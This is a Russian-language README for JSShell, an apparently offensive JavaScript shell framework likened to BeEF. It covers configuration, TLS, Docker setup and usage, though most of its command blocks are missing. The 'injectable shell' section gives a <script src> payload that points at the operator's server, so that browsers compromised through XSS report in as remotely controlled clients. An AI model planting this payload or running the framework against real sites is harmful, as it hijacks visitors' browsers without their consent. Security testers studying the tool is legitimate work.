• Поддержка нескольких клиентов
• Поддержка циклических DOM-объектов
• Предварительные скрипты
• Очередь команд и контекст
• Расширяемость с помощью плагинов
• Внедрение через теги <script>
• Вывод результатов команд в файл
• Постраничная навигация в оболочке
• Поддержка HTTPS!

Установка и настройка

Файл конфигурации

В каталоге resources обновите файл config.json в соответствии с вашей конфигурацией:

• Хост базы данных — если используется метод развертывания docker, укажите хост базы данных как db (внутреннее имя хоста).
• Return URL — URL, по которому будут следовать запросы. Файл shell.js выполняет AJAX-вызовы для регистрации и опроса новых команд. Обычно это http[s]://{IP_ВАШЕГО_СЕРВЕРА}:{ПОРТ}.
• Startup script — скрипт, который запускается автоматически при запуске CLI-клиента JSShell.
• Domain — если вы хотите генерировать TLS-сертификаты, это доменное имя, которое будет использовать сервер.
• Также можно указать удаленную базу данных, если необходимо.

Let's Encrypt

Теперь JSShell поддерживает TLS, что означает, что вы можете генерировать TLS-сертификаты и передавать их веб-серверу. Веб-сервер определит доменное имя из файла config.json. Чтобы создать сертификат, используйте скрипт create_cert.py в папке scripts:

поле email является необязательным.

Обратите внимание, что веб-сервер должен быть остановлен, чтобы скрипт работал корректно. На этом этапе мы успешно сгенерировали наши сертификаты! Единственные изменения, которые необходимо внести:

• В файле config.json измените схему поля URL на https.
• В файле docker-compose.yml измените открытый порт контейнера web на 443.

Docker

Эта новая версия поддерживает установку и запуск JSShell через docker и docker-compose. Теперь, чтобы установить и запустить весь фреймворк JSShell, просто выполните:

Этот скрипт сделает следующее:

• Запустит и создаст базу данных в фоновом режиме
• Запустит веб-API сервер, обрабатывающий входящие подключения, в фоновом режиме
• Создаст новый экземпляр контейнера командной строки JSShell

Обычный способ

Если вы все еще хотите использовать старый метод установки, просто убедитесь, что у вас запущена база данных MongoDB и обновите файл config.json, находящийся в каталоге resources.

Я рекомендую использовать виртуальное окружение с pyenv:

Или с помощью virtualenv:

Затем установите зависимости:

Запуск

Если вы использовали метод docker, выполнять следующую процедуру не нужно.

Веб-сервер

В противном случае, после настройки базы данных необходимо запустить веб-API сервер. Для этого выполните:

Это создаст и запустит веб-сервер, который будет прослушивать входящие подключения и предоставлять наш код JSShell.

Оболочка

Теперь, чтобы запустить CLI JSShell, выполните тот же скрипт, но с флагом shell:

Использование

После настройки и запуска необходимых компонентов введите команду help, чтобы увидеть доступные команды:

Схема работы

JSShell поддерживает 2 метода работы:

1. Внедряемая оболочка (аналогично фреймворку BeeF)
2. Размещенная оболочка (для отладки)

Внедряемая оболочка

Подобно другим фреймворкам управления XSS (например, BeeF), JSShell способен управлять успешными эксплуатациями XSS. Например, если вы можете внедрить тег script, вставьте следующий ресурс в свой пейлоад, и в консоли появится новый клиент:

<script src="http[s]://{IP_ВАШЕГО_СЕРВЕРА}:{ПОРТ}/content/js"></script>

Размещенная оболочка

Если вы хотите отлаживать экзотические и необычные браузеры, просто перейдите по адресу http[s]://{IP_ВАШЕГО_СЕРВЕРА}:{ПОРТ}/ и в вашем CLI-клиенте JSShell появится новый клиент. Теперь его можно отлаживать через консоль JSShell.

Благодарности

Canop за JSON.prune

используйте на свой страх и риск.